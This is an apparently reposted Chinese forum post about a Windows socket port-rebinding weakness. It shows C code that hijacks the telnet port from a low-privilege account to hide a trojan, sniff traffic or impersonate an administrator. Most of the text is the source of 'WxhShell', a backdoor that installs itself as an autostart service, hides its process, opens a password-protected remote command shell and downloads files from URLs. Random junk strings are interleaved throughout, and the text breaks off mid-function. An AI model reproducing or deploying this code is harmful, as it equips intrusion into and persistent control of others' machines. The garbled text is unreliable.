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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: r~&[Gaw s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
F'!pM(+ n*UD0U}` saddr.sin_family = AF_INET; -RisZ-n* r2WW}W
saddr.sin_addr.s_addr = htonl(INADDR_ANY); r &<sSE;5 >h?!6L- d bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S${n:e0\ D<-MbK^S 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j06q3N" R!mFMw" 这意味着什么?意味着可以进行如下的攻击: >}& :y{z~ VI{!ZD] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @2>A\0U (%&HufT 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YueYa#7z ^Jv$Wx 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C5q
n(tv o5NV4= 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 F}/tV7m IYIlab\TZ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1{TmK9U f,Z*o 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qhFWQ1W mBQA~@} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T$p!IRPt l :e&w(1H #include 7+!4pf #include &:K!$W #include 2U;6sn*e #include O;bnyB$ DWORD WINAPI ClientThread(LPVOID lpParam); _"b[UT}m int main() Ka EL* { cym<uh-Wg^ WORD wVersionRequested; cPFs K*w DWORD ret; p_^Jr*Mv WSADATA wsaData; r#svj*dn BOOL val; 4 f)B@A- SOCKADDR_IN saddr; g4Y1*`}2f SOCKADDR_IN scaddr; m?Tv8-1 int err; ljr?Z,R4 SOCKET s; %25GplMT SOCKET sc; d) i:-#Q int caddsize; fV b~j ; HANDLE mt; >iZ"#1ZL2O DWORD tid; #(i9G^K wVersionRequested = MAKEWORD( 2, 2 ); fD^$ y
8 err = WSAStartup( wVersionRequested, &wsaData ); 7gX#^YkE+k if ( err != 0 ) { +v!%z( printf("error!WSAStartup failed!\n"); Zb p+b; return -1; RM\A$.5 } K{]9Yo saddr.sin_family = AF_INET; )=~OP>7B c#-o@`Po //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v-
793pr 0|a ,bwZ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mE|?0mRA % saddr.sin_port = htons(23); XfYMv38( if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %QYH]DR { {WYJQKs8 printf("error!socket failed!\n"); aR- ?t14 return -1; (:g ZZG } gK_^RE9~ val = TRUE; fJiY~mQ //SO_REUSEADDR选项就是可以实现端口重绑定的 F'~\!dNL if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zJ"`40V*; { wFe?0u printf("error!setsockopt failed!\n"); @%aU)YDwi return -1; Q%_QT0H9Kz } dH5 Go9`~R //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #N?VbDK9_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 CyR1.|!@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kYW>o}J| *n"{] tj^> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) PVC Fh$pnw { 0*=[1tdWY ret=GetLastError(); yi29+T7j4S printf("error!bind failed!\n"); yH9(ru return -1; 3A`|$So } sz"N,-<Ig listen(s,2); %1oh+'ES F while(1) sGAOK%28 { G!G]*p5 caddsize = sizeof(scaddr); lG1\41ZxB //接受连接请求 y-.<iq sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5YZh e4R if(sc!=INVALID_SOCKET) :637MD>5lO { MWl2;qi mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H(A9YxXrZ5 if(mt==NULL) m@,u&9K { *eF'<._[U printf("Thread Creat Failed!\n"); V_x8
Q+~? break; 3i*HwEh } |E}-j;( } P]~apMi: CloseHandle(mt); uht>@ WSg| } TJO?BX_9 closesocket(s); z^FJ WSACleanup(); rGn6S&- return 0; *^+]`S } }wIF$v?M DWORD WINAPI ClientThread(LPVOID lpParam) d,5,OJY2f { E ',z<S SOCKET ss = (SOCKET)lpParam; _spW~"|G SOCKET sc; ,pTj'I unsigned char buf[4096]; Y\
C"3+I SOCKADDR_IN saddr; qexnsL long num; kMz*10$gn DWORD val; P9W!xvV`w DWORD ret; BzXTHFMSy //如果是隐藏端口应用的话,可以在此处加一些判断 2+oS'nL //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 t+l{D#?a
saddr.sin_family = AF_INET; kgv29j?k; saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _?I6[Mz saddr.sin_port = htons(23); 2gN78#d if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RSTA!?K/. { |uIgZ|7[ printf("error!socket failed!\n"); k9*6`w return -1; <K:L.c! } {Qf/.[ val = 100; 9< |nJt if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Gf->N
`N { l:.q1UV ret = GetLastError(); [.Y]f.D return -1; 1C5~GI ` } JYK4/gJ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k^{}p8;3 { SR$?pJh D% ret = GetLastError(); >4^,[IO/ return -1; $ dR@Q?_{ } ]=%oBxWAP if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U&'Xsz { 8+n*S$ printf("error!socket connect failed!\n"); wqasI@vyu closesocket(sc); &-c{ closesocket(ss); tJa*(%Z?f return -1; Q>yO,H| } 2)\gIMt% while(1) u$Wv*;TT% { sLOkLz"x //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0-~F%:x //如果是嗅探内容的话,可以再此处进行内容分析和记录 uE ^uP@d //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "MPr'3 num = recv(ss,buf,4096,0); $lAQcG&Q if(num>0) q |Orv=v send(sc,buf,num,0); @#>YU else if(num==0) ($X2SIZh break; }I"k=>Ycns num = recv(sc,buf,4096,0); r]B`\XWz if(num>0) G@4n]c_ send(ss,buf,num,0); (Rs|"];?Z else if(num==0) sHPK8Wsg break; Qm)c! } S^:7V[=EgI closesocket(ss); ai]KH7 closesocket(sc); 3>#io^35 return 0 ; qir8RPW } VfT@;B6ALF !E~czC\p6 K9_@[}Ge ========================================================== S#F%OIx (J5M+K\H 下边附上一个代码,,WXhSHELL u|sdQ E G J/r ========================================================== A kEt=vI QD;:!$Du #include "stdafx.h" k0IztFyj:R ``,q[| #include <stdio.h> e% #?B
* #include <string.h> Z5Tu*u= #include <windows.h> G4,.kK #include <winsock2.h> AmX ~KK #include <winsvc.h> `s\E"QeZN #include <urlmon.h> -1%AM40j m+EtB6r #pragma comment (lib, "Ws2_32.lib") Kwo0%2Onkd #pragma comment (lib, "urlmon.lib") +(m*??TAV GDwijZw #define MAX_USER 100 // 最大客户端连接数 h%ba! #define BUF_SOCK 200 // sock buffer V`_)H #define KEY_BUFF 255 // 输入 buffer k&pV`.Imi gJJ BRn{MI #define REBOOT 0 // 重启 \Z^Tk #define SHUTDOWN 1 // 关机 ; 6q`c!p7 C4|H5H #define DEF_PORT 5000 // 监听端口 ~kOXMLRg 2SXy)m
! #define REG_LEN 16 // 注册表键长度 OP98 sd&T #define SVC_LEN 80 // NT服务名长度 j|IvDrm# uX8G<7O^ // 从dll定义API '^`% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Og :aflS typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r}|a*dh'R typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Gf<%bQE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y:VY8a 4 e[g.&*! // wxhshell配置信息 dG%{&W9
struct WSCFG { w^)_Fk3 int ws_port; // 监听端口 0GcOI} char ws_passstr[REG_LEN]; // 口令 HEs .pET\ int ws_autoins; // 安装标记, 1=yes 0=no 13MB1n char ws_regname[REG_LEN]; // 注册表键名 _{mG\*q char ws_svcname[REG_LEN]; // 服务名 g]PC6xr38 char ws_svcdisp[SVC_LEN]; // 服务显示名 #F:\_!2c char ws_svcdesc[SVC_LEN]; // 服务描述信息 4=ZN4=(_[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tREC)+*\ int ws_downexe; // 下载执行标记, 1=yes 0=no hEfFMi=a` char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Z#flu Q%V char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ngl8) B T-.Bof(?w }; jWGX:XB wQrD(Dv(yA // default Wxhshell configuration wyUfmk_} struct WSCFG wscfg={DEF_PORT, AxiCpAS;J "xuhuanlingzhe", tybM3VA 1, dRXdV7-! "Wxhshell", x}jiHV@= "Wxhshell", 'ExTnv ~ "WxhShell Service", ZnRE:= "Wrsky Windows CmdShell Service", \)+s)&JLb "Please Input Your Password: ", f4+}k GJN 1, Yp6%
@c6\ " http://www.wrsky.com/wxhshell.exe", 86ml.VOR "Wxhshell.exe" r95$( N }; ? W2Wy\ r&O:Bt}x // 消息定义模块 rB-}<22. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; skBzwVW I char *msg_ws_prompt="\n\r? for help\n\r#>"; ; d :i char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; lKLb\F% char *msg_ws_ext="\n\rExit."; +KHk`2{y~ char *msg_ws_end="\n\rQuit."; Ov|Uux char *msg_ws_boot="\n\rReboot..."; -"w&g0Z char *msg_ws_poff="\n\rShutdown..."; )Zit6I char *msg_ws_down="\n\rSave to "; W%P0X5YQ Qh,Dcg2ZM" char *msg_ws_err="\n\rErr!"; RRJN@|" char *msg_ws_ok="\n\rOK!"; F!&_ h2mU char ExeFile[MAX_PATH]; k4BiH5\hA int nUser = 0; Kv#TJn HANDLE handles[MAX_USER]; $6yr:2Xvt int OsIsNt; XV0t
8#T2 42 &m) SERVICE_STATUS serviceStatus; %^<A`Q_ SERVICE_STATUS_HANDLE hServiceStatusHandle; S0mF%" Yc~c(1VRz // 函数声明 Fhbp,CX4p int Install(void); d;LBV<Z? int Uninstall(void); Tsl0$(2W int DownloadFile(char *sURL, SOCKET wsh); |p
@,]cz int Boot(int flag); m;m4/z3U void HideProc(void); o3xfif int GetOsVer(void); P:tl)ob int Wxhshell(SOCKET wsl); uf}Q{@Ab void TalkWithClient(void *cs); @P
xX]e int CmdShell(SOCKET sock); Czt>?8x` int StartFromService(void); 7Hp~:i30 int StartWxhshell(LPSTR lpCmdLine); ,?>:Cdz4 P] 9-+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l@nG?l # VOID WINAPI NTServiceHandler( DWORD fdwControl ); t?cO>4*| A]mXV4RmI // 数据结构和表定义 [iT#Pu5 SERVICE_TABLE_ENTRY DispatchTable[] = 6j=a { 4I<U5@a {wscfg.ws_svcname, NTServiceMain}, pk:2>sx/ {NULL, NULL} qC$h~Epp4 }; 7d'gG[Z^^ Jz'8|o;^ // 自我安装 x $=-lB int Install(void) eXsFPM { bF{14F$ char svExeFile[MAX_PATH]; eWwI@ASaA HKEY key; `PeWV[? strcpy(svExeFile,ExeFile); *kWrF* )J !mtX*;b(e // 如果是win9x系统,修改注册表设为自启动 *Wmn!{\g if(!OsIsNt) { YF(TG]?6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RB `<Zw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y]!{
nW RegCloseKey(key); C`>|D [ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VLfE3i4Vwl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )4/227b/( RegCloseKey(key); @Zd/>' return 0; ZsikI@? } CkA
~'&C } 4Js9"<w } tr$~INe else { f;PvXq<7" h>[][c(b // 如果是NT以上系统,安装为系统服务 K\]I@UTwq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^qD@qJ if (schSCManager!=0) VvTs87 { .}zpvr8YP SC_HANDLE schService = CreateService sVJwe\! ( e.:S BXZ schSCManager, d
%Z+.O wscfg.ws_svcname, CUo %i/R wscfg.ws_svcdisp, "vnWq=E2 SERVICE_ALL_ACCESS, _LUTIqlvi SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , msiftP. SERVICE_AUTO_START, L?gak@E SERVICE_ERROR_NORMAL, *K1GX svExeFile, h%T$m_ NULL, yxU??#v|g NULL, -U/m NULL, 09>lx$ NULL, 3d0Yq NULL (e$/@3* ); (1my9k5C if (schService!=0) Q~p[jQ,4wZ { HX]pcX^K CloseServiceHandle(schService); umD[4aP~; CloseServiceHandle(schSCManager); ZT;:Hxv0N strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <BNCo5* strcat(svExeFile,wscfg.ws_svcname); P6cc8x9g( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ssy+x;<x, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Lp?JSMe RegCloseKey(key); M)oJ06`K return 0; %7*Y@k-)o } fm%1vM$[J } Cyw
cJ CloseServiceHandle(schSCManager); VD*xhuy$k } M!ra3Y } ix=H=U]Q{ :U7m@3czU return 1; P_f>a?OL: } 5wws8w #n_uELE // 自我卸载
`xpU int Uninstall(void) u*NU MT2 { ^Q\O8f[u HKEY key; yb(zyGe ages-Z_X if(!OsIsNt) { oqOXRUy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -gP4| r8& RegDeleteValue(key,wscfg.ws_regname); >{dj6Wo RegCloseKey(key); mfNYN4Um6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dU~DlaEy( RegDeleteValue(key,wscfg.ws_regname); Fq<;- RegCloseKey(key); 2-3|0<` return 0; Z=vzF0 } jBvZ>H+w~ } /}Z0\, } -
:0{
else { 8'(|1 |H)WJ/` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;-koMD!2F if (schSCManager!=0) ;S FmbZ%~ { lilKYrUmG SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qOKC2WD if (schService!=0) ]eJjffx { f
V|Zh if(DeleteService(schService)!=0) { vh~:{akR CloseServiceHandle(schService); 79>8tOuo CloseServiceHandle(schSCManager); +r+H`cT@ return 0; b7:B[7yK.x } I+Q`i:\,q CloseServiceHandle(schService); o9:GKc } F+`DfI]/m CloseServiceHandle(schSCManager); 3??*G8Yp } om"q[Tudc } m*h, <,}-+ QcQ:hHF return 1; A@wRP8<GKj } S|8O$9{x9q S:UtmS+K // 从指定url下载文件 'M*+HY\.0 int DownloadFile(char *sURL, SOCKET wsh) (\si/& { fU+A~oL%I HRESULT hr; {GS7J char seps[]= "/"; `NC{+A char *token; p[QF3)9F char *file; su`]l"[,] char myURL[MAX_PATH]; .>-`2B*/ char myFILE[MAX_PATH]; GB+U>nf *q%)q strcpy(myURL,sURL); VxOrrs7Z token=strtok(myURL,seps); &\\iD :J while(token!=NULL) x0])&':! { Xf.w(- file=token; KB,!s7A token=strtok(NULL,seps); ]3iu-~ } |4i,Vkfhe $V"~\h8 GetCurrentDirectory(MAX_PATH,myFILE); 89B1\ff strcat(myFILE, "\\"); `'u|4pRFs strcat(myFILE, file); :B=p%C send(wsh,myFILE,strlen(myFILE),0); '\:?FQ
C send(wsh,"...",3,0); /hue]ZaQq hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *R*Tmo" if(hr==S_OK) Ah_'.r1<P9 return 0; #]ii/Et#x else ?Rl?Pp=> return 1; z,nRw/o ~>@Dn40 } -v9V/LJ `@{qnCNQ // 系统电源模块 A$RN7# int Boot(int flag) 9-+6Ed^2 { x C'>W"pY HANDLE hToken; DVYY1!j< TOKEN_PRIVILEGES tkp; ]?L?q2>& a$I;
L if(OsIsNt) { $S$%avRX OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Aa&3x~3+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5Mb1==/R tkp.PrivilegeCount = 1; :~ 3/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bQk5R._got AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r4O*0Q_ if(flag==REBOOT) { nMcd(&`N if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bwo" s[w return 0; O'deQq[ } m=2TzLVv else { /^v4[] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }k}5\%#li5 return 0; J4te!, } Mg95us } Q]7Q4U else { _OT kv6;4n if(flag==REBOOT) { EkV v if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AKM\1H3U return 0; bt#=p7W } C,-V>bx g else { 1K,bmb xRt if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -4b9( return 0; Yc#o GCt } XaD}J:X q } BZsw(l4/0' }mz4 3Sq< return 1; 6R@
v>} } xJ%b<y{@ z]\0]i
// win9x进程隐藏模块 lbg!B4, void HideProc(void) |U$oS2U\m { ,Mc}U9)F &nj@t>5Bs$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $|z8WCJ if ( hKernel != NULL ) =bf-+gZD { *8"5mC;" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @q5!3Nz ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bQ0m=BzF FreeLibrary(hKernel); ~&k1P:#R } V
)1SZt@x n?aogdK$V return; \I#2Mq? } LtH;#Q Yk<?HNf // 获取操作系统版本 nb22bXt int GetOsVer(void) Wuye:b! { /5suyM=U OSVERSIONINFO winfo; ^']xkS winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rtf>\j+ GetVersionEx(&winfo); V}7I?
G if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ngEjbCV+ return 1; UX2`x9 else sh}=#eb return 0; kYxn5+~ } )F]E[sga |??uVA)\X // 客户端句柄模块 5`6@CRef int Wxhshell(SOCKET wsl) d'^jekh { Tp[ub(/;7 SOCKET wsh; Y4!v1 struct sockaddr_in client; _l}&|: DWORD myID; ^N`ar9Db tB}&-U|t[~ while(nUser<MAX_USER) y| @[?B { H
<F6o-* int nSize=sizeof(client); wC <!,tB(8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v2JC{XqrI if(wsh==INVALID_SOCKET) return 1; Aq QArSu, ThwE1M handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4\ H;A if(handles[nUser]==0) "+&|$* closesocket(wsh); +UHf&i/3 else ~2V|]Y;s nUser++; Sxjwqqv } 7qgHH p WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $0D]d.w= k=w%oqpN return 0; uQ9P6w=Nt } mm\J]Cc` `IkWS7| // 关闭 socket s+C&\$E void CloseIt(SOCKET wsh) ^#lPXC Bg { n/S1Hae` closesocket(wsh); GvF~h0wMt nUser--; h+CTi6-p ExitThread(0); ,V.X-`Y } 5sFp+_`` %@kmuz?? // 客户端请求句柄 #s)6u?N void TalkWithClient(void *cs) kVy%y"/ { @aY 8VL7C0 & 2>W=h SOCKET wsh=(SOCKET)cs; t~Cul+ char pwd[SVC_LEN]; z[}[:H8 char cmd[KEY_BUFF]; =+'4u char chr[1]; rC[*x} int i,j; @lDoMm,m' j5G8IP_Wx while (nUser < MAX_USER) { `kVy1WiY m+"?;;s if(wscfg.ws_passstr) { L@t<%fy@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z-*L[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HPg@yx"U //ZeroMemory(pwd,KEY_BUFF); +P6q
wh\v i=0; yWsNG;> while(i<SVC_LEN) { @iS(P u Qg<_te)\ // 设置超时 ujmO'blO fd_set FdRead; |.)oV;9 struct timeval TimeOut; arrNx|y FD_ZERO(&FdRead); JN$v=Ox{ FD_SET(wsh,&FdRead); 2jOh~-LU TimeOut.tv_sec=8; U<KvKg TimeOut.tv_usec=0; [- a2<E int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %'%ej^s-R if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t(/e~w +I;b,p if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :hwZz2Dhi pwd =chr[0]; ] 06LNE if(chr[0]==0xd || chr[0]==0xa) { jL6u#0 pwd=0; Siq2Glg_ break; B'lWs; } ;Bat!K7W i++; U_wn/wcLS } >hJ$~4? |K,9EM3 // 如果是非法用户,关闭 socket w\:-lX w if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :0Rd )*k,v } u-qg9qXJb 7(QRG\G# send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FL,jlE_ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kBS;SDl) g>1yQ
while(1) { | -e*^| gG>1 ZeroMemory(cmd,KEY_BUFF); 2+s_*zM- )~rfx // 自动支持客户端 telnet标准 |ITp$_S j=0; sbjAZzrX2i while(j<KEY_BUFF) { (/a2#iW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <IC=x(T cmd[j]=chr[0]; S1E=E5 if(chr[0]==0xa || chr[0]==0xd) { ug.mY= n' cmd[j]=0; 1y2D]h /' break; {Uz@`QO3 } 9gZMfP j++; JN .\{ Y } +?w 7Nm` *!$4 // 下载文件 m$ )yd~ if(strstr(cmd,"http://")) { (CJiCtAsl` send(wsh,msg_ws_down,strlen(msg_ws_down),0); X};m \Bz if(DownloadFile(cmd,wsh)) r/$+'~apTk send(wsh,msg_ws_err,strlen(msg_ws_err),0); c*-8h{} else pEuZsQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D^baXp8 } J}c57$Z else { wZJpSkcEx ug'I:#@2 switch(cmd[0]) { XZ EawJ0 IEfzu L<v // 帮助 2?u>A3^R case '?': { n (7m send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gPSUxE`O. break; w},' 1 } cv=nGFx6 // 安装 Uq5wN05 case 'i': { I= G%r/3 if(Install()) MUhC6s\F send(wsh,msg_ws_err,strlen(msg_ws_err),0); w,bILv) else QM\vruTB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D>+&= 5{ break; iS&~oj_-% } &tB|l_p_-p // 卸载 4EQ7OGU case 'r': { MqGF~h|+ if(Uninstall()) |5_bFB+& send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;2Db/"`t else bW(+Aw=O send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'YIFHn$! break; M$DJ$G|Z } {hG r`Rh // 显示 wxhshell 所在路径 !
E`Tt[ case 'p': { vA2@Db} char svExeFile[MAX_PATH]; 6F6[w? strcpy(svExeFile,"\n\r"); 5cO}Jp%PA strcat(svExeFile,ExeFile); @kvgq 0ab send(wsh,svExeFile,strlen(svExeFile),0); $#2ik~]> break; )IPnSh/< } QWH1xId // 重启
O<Qa1Ow7f case 'b': { 7?-eR- send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )z&0 g2Am if(Boot(REBOOT)) \HLI
y send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9!b,!#= else { (f#QETiV closesocket(wsh); .=~beTS'Vo ExitThread(0); _IuEa\> } },KY9w break; /e1m1 B } gP"p7\
( // 关机 )f1<-a"D| case 'd': { %^n9Z/I send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *vc=>AEc if(Boot(SHUTDOWN)) * t6XU send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8ar2N)59 else { .F:qJ6E closesocket(wsh); b#bdz1@s ExitThread(0); iDt^4=` } 34-QgE break; S8*VjG?T\ } o90SXa&l/ // 获取shell Qj5~ lX`W case 's': { }ddwL CmdShell(wsh); xoF]r$sC8 closesocket(wsh); -fw0bL%0 ExitThread(0); h>-JXuN break; 4r;!b;3 } }M'h5x // 退出 q$z#+2u case 'x': { #gq4%; send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RBIf6oxdE CloseIt(wsh); #u~s,F$De break; g
<^Y^~+E } |={><0 // 离开 ^'.=&@i- case 'q': { K-IXAdx send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;v'7l>w3\w closesocket(wsh); hYMIe]kJ WSACleanup(); ;<`F[V
Zau exit(1); ?P@fV'Jo break; ztf
VXmi' } ^ j;HYs_ } 9PjL
4A } vn|u&}h OLUQjvnU // 提示信息 ,oX48Wg_+ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4b=hFwr[? } CZRrb 84 } =Xh^@OR kF.!U/C return; ^
AxU } \bYuAE1q ljVtFm< // shell模块句柄
YW"}hU int CmdShell(SOCKET sock) -Bbg'=QZa { t5mI)u STARTUPINFO si; .w/#S-at ZeroMemory(&si,sizeof(si)); .Gq.s t% si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Os^ sOOSY si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vzK*1R5 PROCESS_INFORMATION ProcessInfo; |7]7~ 6l char cmdline[]="cmd"; : Q X~bq CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `fh^[Q|4n0 return 0; -QjdL9\[c7 } J_YbeZ] 3{RuR+yi // 自身启动模式 J~KWn. int StartFromService(void) x3=W{Fv@4 { GdG1e%y]z typedef struct $fhrGe { 8v@6 &ras@ DWORD ExitStatus; B3K!>lz DWORD PebBaseAddress; S>}jsP:V DWORD AffinityMask; I Gv_s+O-* DWORD BasePriority; n={}=' ULONG UniqueProcessId; r@FdxsCnGM ULONG InheritedFromUniqueProcessId; 2
P+RfE`o
